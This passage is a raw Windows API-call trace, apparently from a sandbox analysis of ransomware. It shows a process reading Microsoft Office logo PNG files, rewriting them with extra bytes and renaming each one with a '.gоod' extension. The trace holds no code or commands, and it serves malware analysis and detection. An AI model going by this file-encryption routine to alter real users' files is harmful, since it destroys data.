hTemplateFile=0x0) returned 0x834 [0229.899] GetFileType (hFile=0x834) returned 0x1 [0229.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0229.899] GetFileType (hFile=0x834) returned 0x1 [0229.899] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x9e9 [0229.899] ReadFile (in: hFile=0x834, lpBuffer=0x365e218, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x365e218*, lpNumberOfBytesRead=0x1fcee238*=0x9e9, lpOverlapped=0x0) returned 1 [0229.900] CloseHandle (hObject=0x834) returned 1 [0229.911] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x63 [0229.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0229.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.912] GetFileType (hFile=0x834) returned 0x1 [0229.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0229.912] GetFileType (hFile=0x834) returned 0x1 [0229.912] WriteFile (in: hFile=0x834, lpBuffer=0x36d99f8*, nNumberOfBytesToWrite=0x9f0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36d99f8*, lpNumberOfBytesWritten=0x1fcee148*=0x9f0, lpOverlapped=0x0) returned 1 [0229.913] CloseHandle (hObject=0x834) returned 1 [0229.913] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x63 [0229.913] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x68 [0229.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0229.913] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8540dec9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9f0)) returned 1 [0229.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0229.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-80.png.gоod")) returned 1 [0229.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png", lpFilePart=0x0) returned 0x55 [0229.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0229.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x36dad40 | out: lpFileInformation=0x36dad40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc35)) returned 1 [0229.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0229.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png", lpFilePart=0x0) returned 0x55 [0229.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0229.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.914] GetFileType (hFile=0x834) returned 0x1 [0229.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0229.915] GetFileType (hFile=0x834) returned 0x1 [0229.915] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xc35 [0229.915] ReadFile (in: hFile=0x834, lpBuffer=0x36dbc90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x36dbc90*, lpNumberOfBytesRead=0x1fcee238*=0xc35, lpOverlapped=0x0) returned 1 [0229.916] CloseHandle (hObject=0x834) returned 1 [0229.927] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png", lpFilePart=0x0) returned 0x55 [0229.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0229.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.928] GetFileType (hFile=0x834) returned 0x1 [0229.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0229.928] GetFileType (hFile=0x834) returned 0x1 [0229.928] WriteFile (in: hFile=0x834, lpBuffer=0x375a6a0*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x375a6a0*, lpNumberOfBytesWritten=0x1fcee148*=0xc40, lpOverlapped=0x0) returned 1 [0229.929] CloseHandle (hObject=0x834) returned 1 [0229.929] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png", lpFilePart=0x0) returned 0x55 [0229.929] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png.gоod", lpFilePart=0x0) returned 0x5a [0229.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0229.929] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x85434153, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc40)) returned 1 [0229.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0229.930] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-100.png.gоod")) returned 1 [0229.930] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png", lpFilePart=0x0) returned 0x55 [0229.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0229.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x375b990 | out: lpFileInformation=0x375b990*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xee8)) returned 1 [0229.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0229.931] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png", lpFilePart=0x0) returned 0x55 [0229.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0229.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.931] GetFileType (hFile=0x834) returned 0x1 [0229.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0229.931] GetFileType (hFile=0x834) returned 0x1 [0229.931] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xee8 [0229.931] ReadFile (in: hFile=0x834, lpBuffer=0x375cb90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x375cb90*, lpNumberOfBytesRead=0x1fcee238*=0xee8, lpOverlapped=0x0) returned 1 [0230.573] CloseHandle (hObject=0x834) returned 1 [0230.609] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png", lpFilePart=0x0) returned 0x55 [0230.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0230.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0230.610] GetFileType (hFile=0x834) returned 0x1 [0230.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0230.610] GetFileType (hFile=0x834) returned 0x1 [0230.610] WriteFile (in: hFile=0x834, lpBuffer=0x36900e0*, nNumberOfBytesToWrite=0xef0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36900e0*, lpNumberOfBytesWritten=0x1fcee148*=0xef0, lpOverlapped=0x0) returned 1 [0230.611] CloseHandle (hObject=0x834) returned 1 [0230.611] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png", lpFilePart=0x0) returned 0x55 [0230.612] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png.gоod", lpFilePart=0x0) returned 0x5a [0230.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0230.612] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x85aae1b1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xef0)) returned 1 [0230.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0230.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-140.png.gоod")) returned 1 [0230.613] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png", lpFilePart=0x0) returned 0x55 [0230.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0230.613] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x36913d0 | out: lpFileInformation=0x36913d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13fb)) returned 1 [0230.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0230.613] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png", lpFilePart=0x0) returned 0x55 [0230.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0230.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0230.614] GetFileType (hFile=0x834) returned 0x1 [0230.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0230.614] GetFileType (hFile=0x834) returned 0x1 [0230.614] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0230.614] ReadFile (in: hFile=0x834, lpBuffer=0x3691858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3691858*, lpNumberOfBytesRead=0x1fcee2d8*=0x3fb, lpOverlapped=0x0) returned 1 [0230.908] CloseHandle (hObject=0x834) returned 1 [0230.930] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png", lpFilePart=0x0) returned 0x55 [0230.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0230.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0230.931] GetFileType (hFile=0x834) returned 0x1 [0230.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0230.931] GetFileType (hFile=0x834) returned 0x1 [0230.931] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x13fb [0230.931] WriteFile (in: hFile=0x834, lpBuffer=0x37f8200*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x37f8200*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0230.931] CloseHandle (hObject=0x834) returned 1 [0230.931] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png", lpFilePart=0x0) returned 0x55 [0230.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0230.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0230.931] GetFileType (hFile=0x834) returned 0x1 [0230.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0230.931] GetFileType (hFile=0x834) returned 0x1 [0230.931] ReadFile (in: hFile=0x834, lpBuffer=0x37fa4f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x37fa4f8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0230.972] CloseHandle (hObject=0x834) returned 1 [0230.972] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png", lpFilePart=0x0) returned 0x55 [0230.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0230.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0230.972] GetFileType (hFile=0x834) returned 0x1 [0230.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0230.973] GetFileType (hFile=0x834) returned 0x1 [0230.973] WriteFile (in: hFile=0x834, lpBuffer=0x369e490*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x369e490*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0230.973] CloseHandle (hObject=0x834) returned 1 [0230.973] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png", lpFilePart=0x0) returned 0x55 [0230.973] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png.gоod", lpFilePart=0x0) returned 0x5a [0230.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0230.973] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x85e1b861, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140b)) returned 1 [0230.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0230.973] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-180.png.gоod")) returned 1 [0230.974] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png", lpFilePart=0x0) returned 0x54 [0230.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0230.974] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x36c8e00 | out: lpFileInformation=0x36c8e00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa6b)) returned 1 [0230.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0230.991] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png", lpFilePart=0x0) returned 0x54 [0230.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0230.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0230.991] GetFileType (hFile=0x834) returned 0x1 [0230.991] 